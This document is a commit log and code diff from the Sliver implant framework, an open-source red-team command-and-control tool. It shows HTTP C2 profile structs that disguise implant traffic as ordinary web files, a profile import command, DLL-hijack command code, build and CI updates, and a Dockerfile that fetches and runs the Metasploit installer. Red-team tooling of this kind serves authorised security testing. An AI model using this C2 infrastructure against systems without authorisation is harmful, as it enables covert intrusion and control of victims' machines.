Tim Makram Ghatas 678c70d108 add default port check for mtls 2023-06-07 07:53:16 -04:00
Tim Makram Ghatas ee95829770 refactor job creation and move hardcoded values to constants 2023-06-06 23:37:53 -04:00
Tim Makram Ghatas a73bdf91e2 automatically update job id's on server restart 2023-06-06 23:00:37 -04:00
Tim Makram Ghatas 2cac1eb38b set default value for c2 profile and move to constant strings 2023-06-06 21:01:13 -04:00
b0yd 9148720eb2 Added logic to send clear message after a job is completed 2023-06-06 11:09:52 -04:00
Tim Makram Ghatas dcb0128c3c added multiplayer mode job listener to db 2023-06-06 02:40:44 +02:00
Tim Makram Ghatas 195354792e remove unused code 2023-06-06 02:24:35 +02:00
Tim Makram Ghatas 1419e7173c store and retrieve persistent listeners from database 2023-06-06 02:21:16 +02:00
Tim Makram Ghatas 1241d87b9b remove listener from db when killed 2023-06-06 01:13:32 +02:00
Tim Makram Ghatas 3dc7002fdd fixed jobid display error and added sql tables for dns domains and mtls 2023-06-06 00:45:07 +02:00
b0yd 80947425ec Don't bail on replay attack 2023-06-05 17:23:26 -04:00
b0yd 185ded66c2 Error msg 2023-06-05 17:04:35 -04:00
b0yd 884f2d0bd7 Typo 2023-06-05 16:57:51 -04:00
b0yd 4d0f6585d8 More dbg msgs 2023-06-05 16:48:24 -04:00
b0yd 998bd5ab80 Fixed empty message bug 2023-06-05 16:19:15 -04:00
b0yd 76a8de643f Fixed empty message bug 2023-06-05 16:12:23 -04:00
Tim Makram Ghatas a463aa1218 added listener jobs to database, fixed jobid output issue and implemented save query for listener jobs 2023-06-05 20:05:02 +02:00
Tim Makram Ghatas 5281465c7f typo 2023-06-05 19:42:36 +02:00
Tim Makram Ghatas dd433136bc move away from server object to protobuf 2023-06-05 19:17:31 +02:00
Tim Makram Ghatas 906b8eeec7 rebuild protobuf 2023-06-05 19:16:14 +02:00
Tim Makram Ghatas 126dcf7d86 remove persistent flag from client job commands and update variable name 2023-06-05 19:15:44 +02:00
Tim Makram Ghatas 43eb9e3ded update protobuf definition for c2 listeners 2023-06-05 19:14:23 +02:00
Tim Makram Ghatas c8a661dccc fix for binary test cases 2023-06-04 20:32:16 +02:00
b0yd 66b7b98ed3 Hopefully fixed race condition 2023-06-02 16:49:19 -04:00
b0yd d341b1cb3a Hopefully fixed race condition 2023-06-02 16:13:01 -04:00
b0yd f5d2cd2e94 Initialized new map 2023-06-02 15:59:45 -04:00
b0yd 2b2feb306b Hopefully fixed race condition 2023-06-02 15:46:34 -04:00
b0yd d390ac95c7 Attempting to fix race condition in poll 2023-06-02 15:03:18 -04:00
b0yd 52ff6b4c52 Do not respond if there are no messages available 2023-06-02 14:31:23 -04:00
b0yd 4c8486349b Do not respond if there are no messages available 2023-06-02 14:29:08 -04:00
b0yd 58bcac52eb Refuse requests for duplicate requests 2023-06-02 14:11:24 -04:00
b0yd 8469c9a1ce Debug on message send queue 2023-06-02 13:15:27 -04:00
b0yd ca7b62fb7e Removed some error handled that was designed that way 2023-06-02 10:53:22 -04:00
b0yd 1902f131e7 Added error handling, debug msgs, and indexes to AAAA records to be reassembled 2023-06-02 09:40:55 -04:00
b0yd 80e04c71ff Merge branch 'notxt_dns' of https://github.com/rwincey/sliver into notxt_dns 2023-06-01 14:58:04 -04:00
b0yd b8697f6271 Switched from cname to just aaaa IPs 2023-06-01 14:56:01 -04:00
rwincey 91b2836968 Merge branch 'BishopFox:master' into notxt_dns 2023-05-30 13:46:55 -04:00
Tim Makram Ghatas 3e67c6e2b8 replaced hardcoded http profile value with commandline arg, fixed pb issue with certificate digest and switched from profile id to profile name in implantconfig pb 2023-05-30 17:11:32 +02:00
rwincey 244639a79c Merge branch 'BishopFox:master' into notxt_dns 2023-05-30 10:12:52 -04:00
Tim Makram Ghatas c03975d6c4 added profile randomization during implant generation 2023-05-30 13:59:57 +02:00
Tim Makram Ghatas 429c520c78 add ECCPublicKeyDigest to protobuf and database 2023-05-30 11:46:18 +02:00
Tim Makram Ghatas a6ba86379a Merge branch 'v1.6.0/master' into v1.6.0/http-c2 2023-05-30 10:39:22 +02:00
Tim Makram Ghatas 4b7b8c4b3e autoload default profile during implant generation 2023-05-30 10:08:09 +02:00
Tim Makram Ghatas 75c3d0c0fb load http configurations from database on listener creation 2023-05-30 06:41:08 +02:00
Tim Makram Ghatas 8f7da07a35 protobuf build update 2023-05-30 06:21:34 +02:00
Tim Makram Ghatas 95a4604a8b fix path segments generation issues 2023-05-30 06:20:53 +02:00
b0yd 992ee14e82 Fixed cname recursive lookup 2023-05-29 16:00:50 -04:00
b0yd 2066d200c4 More size massaging 2023-05-29 13:10:20 -04:00
b0yd 683a779159 More size massaging 2023-05-29 12:49:35 -04:00
b0yd d14003bf14 More size massaging 2023-05-29 11:15:29 -04:00
b0yd e4b6da3471 More size massaging 2023-05-29 11:06:58 -04:00
b0yd 4c0f36dba2 More size massaging 2023-05-29 10:50:56 -04:00
Tim Makram Ghatas 3b295b3bae fixed renamed protobuf issues and default configuration save 2023-05-28 23:20:59 +02:00
b0yd 302711e817 Trimmed DNS size to fit within 512 2023-05-26 17:39:35 -04:00
b0yd a8b69b352d Added AAAA record to response along with CNAME 2023-05-26 11:32:43 -04:00
b0yd f180dd9aff Added support for nonTXT based DNS comms 2023-05-26 09:13:45 -04:00
Tim Makram Ghatas 09f2521bc3 added check for included c2 channels during config generation 2023-05-26 02:15:25 +02:00
Tim Makram Ghatas d674b8d40f fix sliver rendering code variable name changes 2023-05-26 01:45:04 +02:00
Tim Makram Ghatas d98b24fbc6 add boolean checks for named pipe and tcp pivot 2023-05-26 01:37:44 +02:00
Tim Makram Ghatas 0f38081c0c check for presence of default http c2 profile on startup, and if not present generate and insert into database 2023-05-25 22:58:48 +02:00
Tim Makram Ghatas bedc225344 added default http profile generator 2023-05-25 20:25:42 +02:00
Tim Makram Ghatas 82c68bda54 ImplantConfigSave uses model object instead of protobuf 2023-05-25 16:46:09 +02:00
Tim Makram Ghatas 89b0263634 switch use of models.ImplantConfig to clientpb.ImplantConfig 2023-05-25 00:10:07 +02:00
moloch-- 865f295c65 wip refactor of generate code 2023-05-19 08:25:28 -07:00
moloch-- bad1897e78 Implemented ToProtobuf() conversions 2023-05-17 18:24:05 -07:00
moloch-- ae101d3243 Implemented ToProtobuf() conversions 2023-05-17 18:23:25 -07:00
moloch-- a947d9efeb Implemented basic http c2 pb 2023-05-17 18:13:14 -07:00
moloch-- afa2b5c715 Implemented basic http c2 pb 2023-05-17 18:11:55 -07:00
moloch-- 086eb7fe42 Added more cookie names 2023-05-17 17:27:29 -07:00
moloch-- 55c8cddf88 Expanded default http c2 config 2023-05-17 17:04:44 -07:00
moloch-- 7661d0c1b9 Implement gorm hooks, cleanup 2023-05-17 16:43:40 -07:00
moloch-- f1f736d7c1 Outline http c2 in db 2023-05-17 16:32:04 -07:00
moloch-- 8ad0dfb4c8 Outline http c2 in db 2023-05-17 16:31:56 -07:00
977 changed files with 92683 additions and 28527 deletions

No files matched your search

+6 -6
View File
@@ -11,10 +11,10 @@ jobs:
runs-on: ubuntu-latest
timeout-minutes: 45
steps:
- name: Go 1.20
- name: Go 1.21
uses: actions/setup-go@v4
with:
go-version: "^1.20"
go-version: "^1.21"
- name: OS Packages
run: |
@@ -22,7 +22,7 @@ jobs:
git build-essential zlib1g zlib1g-dev wget zip unzip
- name: Check Out Code
uses: actions/checkout@v3
uses: actions/checkout@v4
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
@@ -42,13 +42,13 @@ jobs:
runs-on: ubuntu-latest
timeout-minutes: 45
steps:
- name: Go 1.20
- name: Go 1.21
uses: actions/setup-go@v4
with:
go-version: "^1.20"
go-version: "^1.21"
- name: Check Out Code
uses: actions/checkout@v3
uses: actions/checkout@v4
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
+4 -4
View File
@@ -16,13 +16,13 @@ jobs:
steps:
# Setup go environment
- name: Go 1.20
- name: Go 1.21
uses: actions/setup-go@v4
with:
go-version: "^1.20"
go-version: "^1.21"
- name: Checkout repository
uses: actions/checkout@v3
uses: actions/checkout@v4
with:
# Must fetch at least the immediate parents so that if this is
# a pull request then we can checkout the head of the pull request.
@@ -36,7 +36,7 @@ jobs:
git build-essential zlib1g zlib1g-dev wget zip unzip
- name: Check Out Code
uses: actions/checkout@v3
uses: actions/checkout@v4
- name: Initialize CodeQL
uses: github/codeql-action/init@v2
+9 -9
View File
@@ -15,10 +15,10 @@ jobs:
runs-on: ubuntu-latest
timeout-minutes: 90
steps:
- name: Go 1.20
- name: Go 1.21
uses: actions/setup-go@v4
with:
go-version: "^1.20"
go-version: "^1.21"
- name: OS Packages
run: |
@@ -27,7 +27,7 @@ jobs:
mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
- name: Check Out Code
uses: actions/checkout@v3
uses: actions/checkout@v4
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
@@ -49,16 +49,16 @@ jobs:
runs-on: macos-latest
timeout-minutes: 90
steps:
- name: Go 1.20
- name: Go 1.21
uses: actions/setup-go@v4
with:
go-version: "^1.20"
go-version: "^1.21"
- name: Mingw
run: brew install mingw-w64
- name: Check Out Code
uses: actions/checkout@v3
uses: actions/checkout@v4
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
@@ -80,13 +80,13 @@ jobs:
runs-on: ubuntu-latest
timeout-minutes: 90
steps:
- name: Go 1.20
- name: Go 1.21
uses: actions/setup-go@v4
with:
go-version: "^1.20"
go-version: "^1.21"
- name: Check Out Code
uses: actions/checkout@v3
uses: actions/checkout@v4
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
+4 -15
View File
@@ -1,4 +1,4 @@
FROM golang:1.20.4
FROM --platform=linux/amd64 golang:1.21.4
#
# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
@@ -6,10 +6,6 @@ FROM golang:1.20.4
# a Docker deployment this is probably a good place to start.
#
ENV PROTOC_VER 21.12
ENV PROTOC_GEN_GO_VER v1.27.1
ENV GRPC_GO v1.2.0
# Base packages
RUN apt-get update --fix-missing && apt-get -y install \
git build-essential zlib1g zlib1g-dev \
@@ -35,21 +31,14 @@ RUN mkdir -p /home/sliver/ && chown -R sliver:sliver /home/sliver
RUN curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall \
&& chmod 755 msfinstall \
&& ./msfinstall
RUN mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete \
&& su -l sliver -c 'mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete'
RUN mkdir -p ~/.msf4/ \
&& touch ~/.msf4/initial_setup_complete \
&& su -l sliver -c 'mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete'
#
# > Sliver
#
# Protoc
# WORKDIR /tmp
# RUN wget -O protoc-${PROTOC_VER}-linux-x86_64.zip https://github.com/protocolbuffers/protobuf/releases/download/v${PROTOC_VER}/protoc-${PROTOC_VER}-linux-x86_64.zip \
# && unzip protoc-${PROTOC_VER}-linux-x86_64.zip \
# && cp -vv ./bin/protoc /usr/local/bin
# RUN go install google.golang.org/protobuf/cmd/protoc-gen-go@${PROTOC_GEN_GO_VER} \
# && go install google.golang.org/grpc/cmd/protoc-gen-go-grpc@${GRPC_GO}
# Go assets
WORKDIR /go/src/github.com/bishopfox/sliver
ADD . /go/src/github.com/bishopfox/sliver/
+2 -2
View File
@@ -5,7 +5,7 @@
GO ?= go
ARTIFACT_SUFFIX ?=
ENV =
TAGS ?= -tags osusergo,netgo,go_sqlite
TAGS ?= -tags go_sqlite
CGO_ENABLED = 0
ifneq (,$(findstring cgo_sqlite,$(TAGS)))
@@ -27,7 +27,7 @@ GO_VERSION = $(shell $(GO) version)
GO_MAJOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f1)
GO_MINOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f2)
MIN_SUPPORTED_GO_MAJOR_VERSION = 1
MIN_SUPPORTED_GO_MINOR_VERSION = 20
MIN_SUPPORTED_GO_MINOR_VERSION = 21
GO_VERSION_VALIDATION_ERR_MSG = Golang version is not supported, please update to at least $(MIN_SUPPORTED_GO_MAJOR_VERSION).$(MIN_SUPPORTED_GO_MINOR_VERSION)
VERSION ?= $(shell git describe --abbrev=0)
+86
View File
@@ -0,0 +1,86 @@
package assets
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
// HTTPC2Config - Parent config file struct for implant/server
type HTTPC2Config struct {
ImplantConfig HTTPC2ImplantConfig `json:"implant_config"`
ServerConfig HTTPC2ServerConfig `json:"server_config"`
}
// HTTPC2ServerConfig - Server configuration options
type HTTPC2ServerConfig struct {
RandomVersionHeaders bool `json:"random_version_headers"`
Headers []NameValueProbability `json:"headers"`
Cookies []string `json:"cookies"`
}
type NameValueProbability struct {
Name string `json:"name"`
Value string `json:"value"`
Probability int `json:"probability"`
Methods []string
}
// HTTPC2ImplantConfig - Implant configuration options
// Procedural C2
// ===============
// .txt = rsakey
// .css = start
// .php = session
//
// .js = poll
//
// .png = stop
// .woff = sliver shellcode
type HTTPC2ImplantConfig struct {
UserAgent string `json:"user_agent"`
ChromeBaseVersion int `json:"chrome_base_version"`
MacOSVersion string `json:"macos_version"`
NonceQueryArgChars string `json:"nonce_query_args"`
URLParameters []NameValueProbability `json:"url_parameters"`
Headers []NameValueProbability `json:"headers"`
MaxFiles int `json:"max_files"`
MinFiles int `json:"min_files"`
MaxPaths int `json:"max_paths"`
MinPaths int `json:"min_paths"`
// Stager files and paths
StagerFileExt string `json:"stager_file_ext"`
StagerFiles []string `json:"stager_files"`
StagerPaths []string `json:"stager_paths"`
// Poll files and paths
PollFileExt string `json:"poll_file_ext"`
PollFiles []string `json:"poll_files"`
PollPaths []string `json:"poll_paths"`
// Session files and paths
StartSessionFileExt string `json:"start_session_file_ext"`
SessionFileExt string `json:"session_file_ext"`
SessionFiles []string `json:"session_files"`
SessionPaths []string `json:"session_paths"`
// Close session files and paths
CloseFileExt string `json:"close_file_ext"`
CloseFiles []string `json:"close_files"`
ClosePaths []string `json:"close_paths"`
}
+2 -2
View File
@@ -21,7 +21,7 @@ package alias
import (
"encoding/json"
"fmt"
"io/ioutil"
"os"
"strings"
"github.com/bishopfox/sliver/client/assets"
@@ -115,7 +115,7 @@ func getInstalledManifests() map[string]*AliasManifest {
manifestPaths := assets.GetInstalledAliasManifests()
installedManifests := map[string]*AliasManifest{}
for _, manifestPath := range manifestPaths {
data, err := ioutil.ReadFile(manifestPath)
data, err := os.ReadFile(manifestPath)
if err != nil {
continue
}
+4 -5
View File
@@ -20,7 +20,6 @@ package alias
import (
"fmt"
"io/ioutil"
"os"
"path/filepath"
"strings"
@@ -50,7 +49,7 @@ func AliasesInstallCmd(cmd *cobra.Command, con *console.SliverConsoleClient, arg
// Install an extension from a directory
func installFromDir(aliasLocalPath string, con *console.SliverConsoleClient) {
manifestData, err := ioutil.ReadFile(filepath.Join(aliasLocalPath, ManifestFileName))
manifestData, err := os.ReadFile(filepath.Join(aliasLocalPath, ManifestFileName))
if err != nil {
con.PrintErrorf("Error reading %s: %s", ManifestFileName, err)
return
@@ -78,7 +77,7 @@ func installFromDir(aliasLocalPath string, con *console.SliverConsoleClient) {
con.PrintErrorf("Error creating alias directory: %s\n", err)
return
}
err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
err = os.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
if err != nil {
con.PrintErrorf("Failed to write %s: %s\n", ManifestFileName, err)
forceRemoveAll(installPath)
@@ -133,7 +132,7 @@ func InstallFromFile(aliasGzFilePath string, autoOverwrite bool, con *console.Sl
con.PrintErrorf("Failed to create alias directory: %s\n", err)
return nil
}
err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
err = os.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
if err != nil {
con.PrintErrorf("Failed to write %s: %s\n", ManifestFileName, err)
forceRemoveAll(installPath)
@@ -166,7 +165,7 @@ func installArtifact(aliasGzFilePath string, installPath, artifactPath string, c
if _, err := os.Stat(artifactDir); os.IsNotExist(err) {
os.MkdirAll(artifactDir, 0o700)
}
err = ioutil.WriteFile(localArtifactPath, data, 0o600)
err = os.WriteFile(localArtifactPath, data, 0o600)
if err != nil {
return err
}
+1 -1
View File
@@ -36,7 +36,7 @@ import (
"github.com/bishopfox/sliver/client/command/extensions"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/server/cryptography/minisign"
"github.com/bishopfox/sliver/util/minisign"
)
// ArmoryIndex - Index JSON containing alias/extension/bundle information
+1 -1
View File
@@ -32,7 +32,7 @@ import (
"github.com/bishopfox/sliver/client/command/extensions"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/server/cryptography/minisign"
"github.com/bishopfox/sliver/util/minisign"
)
// ErrPackageNotFound - The package was not found
+1 -1
View File
@@ -33,7 +33,7 @@ import (
"time"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/server/cryptography/minisign"
"github.com/bishopfox/sliver/util/minisign"
)
// ArmoryIndexParser - Generic interface to fetch armory indexes
+437
View File
@@ -0,0 +1,437 @@
package c2profiles
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"encoding/json"
"io"
"os"
"strings"
"github.com/AlecAivazis/survey/v2"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/spf13/cobra"
"golang.org/x/exp/slices"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
)
// C2ProfileCmd list available http profiles
func C2ProfileCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
profileName, _ := cmd.Flags().GetString("name")
if profileName == constants.DefaultC2Profile {
httpC2Profiles, err := con.Rpc.GetHTTPC2Profiles(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("failed to fetch HTTP C2 profiles: %s", err.Error())
return
}
if len(httpC2Profiles.Configs) != 1 {
profileName = selectC2Profile(httpC2Profiles.Configs)
}
}
profile, err := con.Rpc.GetHTTPC2ProfileByName(context.Background(), &clientpb.C2ProfileReq{Name: profileName})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
PrintC2Profiles(profile, con)
}
func ImportC2ProfileCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
protocols := []string{constants.HttpStr, constants.HttpsStr}
profileName, _ := cmd.Flags().GetString("name")
if profileName == "" {
con.PrintErrorf("Invalid c2 profile name\n")
return
}
filepath, _ := cmd.Flags().GetString("file")
if filepath == "" {
con.PrintErrorf("Missing file path\n")
return
}
overwrite, _ := cmd.Flags().GetBool("overwrite")
// retrieve and unmarshal profile config
jsonFile, err := os.Open(filepath)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
byteFile, _ := io.ReadAll(jsonFile)
var config *assets.HTTPC2Config = &assets.HTTPC2Config{}
err = json.Unmarshal(byteFile, config)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
httpC2ConfigReq := clientpb.HTTPC2ConfigReq{Overwrite: overwrite, C2Config: C2ConfigToProtobuf(profileName, config)}
_, err = con.Rpc.SaveHTTPC2Profile(context.Background(), &httpC2ConfigReq)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
confirm := false
prompt := &survey.Confirm{Message: "Restart HTTP/S jobs?"}
survey.AskOne(prompt, &confirm)
if confirm {
var restartJobReq clientpb.RestartJobReq
jobs, err := con.Rpc.GetJobs(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
// reload jobs to include new profile
for _, job := range jobs.Active {
if job != nil && slices.Contains(protocols, job.Name) {
restartJobReq.JobIDs = append(restartJobReq.JobIDs, job.ID)
}
}
_, err = con.Rpc.RestartJobs(context.Background(), &restartJobReq)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
}
// convert json to protobuf
func C2ConfigToProtobuf(profileName string, config *assets.HTTPC2Config) *clientpb.HTTPC2Config {
httpC2UrlParameters := []*clientpb.HTTPC2URLParameter{}
httpC2Headers := []*clientpb.HTTPC2Header{}
pathSegments := []*clientpb.HTTPC2PathSegment{}
// files
for _, poll := range config.ImplantConfig.PollFiles {
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
IsFile: true,
SegmentType: 0,
Value: poll,
})
}
for _, session := range config.ImplantConfig.SessionFiles {
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
IsFile: true,
SegmentType: 1,
Value: session,
})
}
for _, close := range config.ImplantConfig.CloseFiles {
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
IsFile: true,
SegmentType: 2,
Value: close,
})
}
for _, stager := range config.ImplantConfig.StagerFiles {
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
IsFile: true,
SegmentType: 3,
Value: stager,
})
}
// paths
for _, poll := range config.ImplantConfig.PollPaths {
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
IsFile: false,
SegmentType: 0,
Value: poll,
})
}
for _, session := range config.ImplantConfig.SessionPaths {
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
IsFile: false,
SegmentType: 1,
Value: session,
})
}
for _, close := range config.ImplantConfig.ClosePaths {
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
IsFile: false,
SegmentType: 2,
Value: close,
})
}
for _, stager := range config.ImplantConfig.StagerPaths {
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
IsFile: false,
SegmentType: 3,
Value: stager,
})
}
implantConfig := &clientpb.HTTPC2ImplantConfig{
UserAgent: config.ImplantConfig.UserAgent,
ChromeBaseVersion: int32(config.ImplantConfig.ChromeBaseVersion),
MacOSVersion: config.ImplantConfig.MacOSVersion,
NonceQueryArgChars: config.ImplantConfig.NonceQueryArgChars,
ExtraURLParameters: httpC2UrlParameters,
Headers: httpC2Headers,
MaxFiles: int32(config.ImplantConfig.MaxFiles),
MinFiles: int32(config.ImplantConfig.MinFiles),
MaxPaths: int32(config.ImplantConfig.MaxPaths),
MinPaths: int32(config.ImplantConfig.MinFiles),
StagerFileExtension: config.ImplantConfig.StagerFileExt,
PollFileExtension: config.ImplantConfig.PollFileExt,
StartSessionFileExtension: config.ImplantConfig.StartSessionFileExt,
SessionFileExtension: config.ImplantConfig.SessionFileExt,
CloseFileExtension: config.ImplantConfig.CloseFileExt,
PathSegments: pathSegments,
}
// Server Config
serverHeaders := []*clientpb.HTTPC2Header{}
for _, serverHeader := range config.ServerConfig.Headers {
for _, method := range serverHeader.Methods {
serverHeaders = append(serverHeaders, &clientpb.HTTPC2Header{
Method: method,
Name: serverHeader.Name,
Value: serverHeader.Value,
Probability: int32(serverHeader.Probability),
})
}
}
serverCookies := []*clientpb.HTTPC2Cookie{}
for _, cookie := range config.ServerConfig.Cookies {
serverCookies = append(serverCookies, &clientpb.HTTPC2Cookie{
Name: cookie,
})
}
serverConfig := &clientpb.HTTPC2ServerConfig{
RandomVersionHeaders: config.ServerConfig.RandomVersionHeaders,
Headers: serverHeaders,
Cookies: serverCookies,
}
return &clientpb.HTTPC2Config{
Name: profileName,
ImplantConfig: implantConfig,
ServerConfig: serverConfig,
}
}
// PrintImplantBuilds - Print the implant builds on the server
func PrintC2Profiles(profile *clientpb.HTTPC2Config, con *console.SliverConsoleClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"Parameter",
"Value",
})
// Profile metadata
tw.AppendRow(table.Row{
"Profile Name",
profile.Name,
})
// Server side configuration
var serverHeaders []string
for _, header := range profile.ServerConfig.Headers {
serverHeaders = append(serverHeaders, header.Value)
}
tw.AppendRow(table.Row{
"Server Headers",
strings.Join(serverHeaders[:], ","),
})
var serverCookies []string
for _, cookie := range profile.ServerConfig.Cookies {
serverCookies = append(serverCookies, cookie.Name)
}
tw.AppendRow(table.Row{
"Server Cookies",
strings.Join(serverCookies[:], ","),
})
tw.AppendRow(table.Row{
"Randomize Server Headers",
profile.ServerConfig.RandomVersionHeaders,
})
// Client side configuration
var clientHeaders []string
for _, header := range profile.ImplantConfig.Headers {
clientHeaders = append(clientHeaders, header.Value)
}
tw.AppendRow(table.Row{
"Client Headers",
strings.Join(clientHeaders[:], ","),
})
var clientUrlParams []string
for _, clientUrlParam := range profile.ImplantConfig.ExtraURLParameters {
clientUrlParams = append(clientUrlParams, clientUrlParam.Name)
}
tw.AppendRow(table.Row{
"Extra URL Parameters",
strings.Join(clientUrlParams[:], ","),
})
tw.AppendRow(table.Row{
"User agent",
profile.ImplantConfig.UserAgent,
})
tw.AppendRow(table.Row{
"Chrome base version",
profile.ImplantConfig.ChromeBaseVersion,
})
tw.AppendRow(table.Row{
"MacOS version",
profile.ImplantConfig.MacOSVersion,
})
tw.AppendRow(table.Row{
"Nonce query arg chars",
profile.ImplantConfig.NonceQueryArgChars,
})
tw.AppendRow(table.Row{
"Max files",
profile.ImplantConfig.MaxFiles,
})
tw.AppendRow(table.Row{
"Min files",
profile.ImplantConfig.MinFiles,
})
tw.AppendRow(table.Row{
"Max paths",
profile.ImplantConfig.MaxPaths,
})
tw.AppendRow(table.Row{
"Min paths",
profile.ImplantConfig.MinPaths,
})
tw.AppendRow(table.Row{
"Stager file extension",
profile.ImplantConfig.StagerFileExtension,
})
tw.AppendRow(table.Row{
"Start session file extension",
profile.ImplantConfig.StartSessionFileExtension,
})
tw.AppendRow(table.Row{
"Session file extension",
profile.ImplantConfig.SessionFileExtension,
})
tw.AppendRow(table.Row{
"Poll file extension",
profile.ImplantConfig.PollFileExtension,
})
tw.AppendRow(table.Row{
"Close file extension",
profile.ImplantConfig.CloseFileExtension,
})
var (
pollPaths []string
pollFiles []string
sessionPaths []string
sessionFiles []string
closePaths []string
closeFiles []string
)
for _, segment := range profile.ImplantConfig.PathSegments {
if segment.IsFile {
switch segment.SegmentType {
case 0:
pollFiles = append(pollFiles, segment.Value)
case 1:
sessionFiles = append(sessionFiles, segment.Value)
case 2:
closeFiles = append(closeFiles, segment.Value)
}
} else {
switch segment.SegmentType {
case 0:
pollPaths = append(pollPaths, segment.Value)
case 1:
sessionPaths = append(sessionPaths, segment.Value)
case 2:
closePaths = append(closePaths, segment.Value)
}
}
}
tw.AppendRow(table.Row{
"Poll paths",
strings.Join(pollPaths[:], ","),
})
tw.AppendRow(table.Row{
"Poll files",
strings.Join(pollFiles[:], ","),
})
tw.AppendRow(table.Row{
"Session paths",
strings.Join(sessionPaths[:], ","),
})
tw.AppendRow(table.Row{
"Session files",
strings.Join(sessionFiles[:], ","),
})
tw.AppendRow(table.Row{
"Close paths",
strings.Join(closePaths[:], ","),
})
tw.AppendRow(table.Row{
"Close files",
strings.Join(closeFiles[:], ","),
})
con.Println(tw.Render())
con.Println("\n")
}
func selectC2Profile(c2profiles []*clientpb.HTTPC2Config) string {
c2profile := ""
var choices []string
for _, c2profile := range c2profiles {
choices = append(choices, c2profile.Name)
}
prompt := &survey.Select{
Message: "Select a c2 profile",
Options: choices,
}
survey.AskOne(prompt, &c2profile, nil)
return c2profile
}
+3 -3
View File
@@ -21,7 +21,7 @@ package dllhijack
import (
"context"
"fmt"
"io/ioutil"
"os"
"github.com/spf13/cobra"
@@ -58,7 +58,7 @@ func DllHijackCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []s
}
if localReferenceFilePath != "" {
localRefData, err = ioutil.ReadFile(localReferenceFilePath)
localRefData, err = os.ReadFile(localReferenceFilePath)
if err != nil {
con.PrintErrorf("Could not load the reference file from the client: %s\n", err)
return
@@ -70,7 +70,7 @@ func DllHijackCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []s
con.PrintErrorf("please use either --profile or --File")
return
}
targetDLLData, err = ioutil.ReadFile(localFile)
targetDLLData, err = os.ReadFile(localFile)
if err != nil {
con.PrintErrorf("Error: %s\n", err)
return
+3 -2
View File
@@ -56,8 +56,9 @@ func CatCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string)
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Downloading %s ...", filePath), ctrl)
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
Request: con.ActiveTarget.Request(cmd),
Path: filePath,
Request: con.ActiveTarget.Request(cmd),
RestrictedToFile: true,
Path: filePath,
})
ctrl <- true
<-ctrl
+82
View File
@@ -0,0 +1,82 @@
package filesystem
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
